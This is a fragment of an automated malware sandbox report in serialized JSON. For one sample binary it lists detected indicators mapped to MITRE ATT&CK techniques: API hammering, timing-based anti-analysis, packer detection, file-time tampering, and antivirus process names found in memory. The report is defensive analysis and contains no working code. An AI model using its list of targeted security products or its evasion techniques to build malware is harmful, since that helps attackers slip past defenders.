00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")73:T9d5,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "ExitProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "TerminateProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.TerminateProcess" (Indicator: "TerminateProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "TerminateProcess"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")74:T756,Found string "IfaceIndir" (Indicator: "iface"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "IfaceIndir" (Indicator: "iface"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found string "ashDisp.exe" (Indicator: "ashdisp"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "avcenter.exe" (Indicator: "avcenter"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "Mcshield.exe" (Indicator: "mcshield"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "avgwdsvc.exe" (Indicator: "avgw"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")75:Ta00,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001376.00000000.170664.00B40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; File: \"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; File: \"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000356.00000001.173998.26300000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000001.173998.26480000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000002.175916.05760000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000002.175916.25A00000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000002.175916.26170000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000002.175916.26280000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000002.175916.26480000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000356.00000002.175916.27471000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2e","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp\")\n Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00001376.00000000.170664.00B40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"tmp9bmqrk_p.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00000356)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\" tE!\"\n \"libcrypto-3.dll\" was detected as \"Microsoft visual C++ 8.0\"\n \"tmp9bmqrk_p.exe\" was detected as \"tElock v1.0 (private) -> tE!\"\n \"libssl-3.dll\" was detected as \"Microsoft visual C++ 8.0\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69786370565b0eec53077a75"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"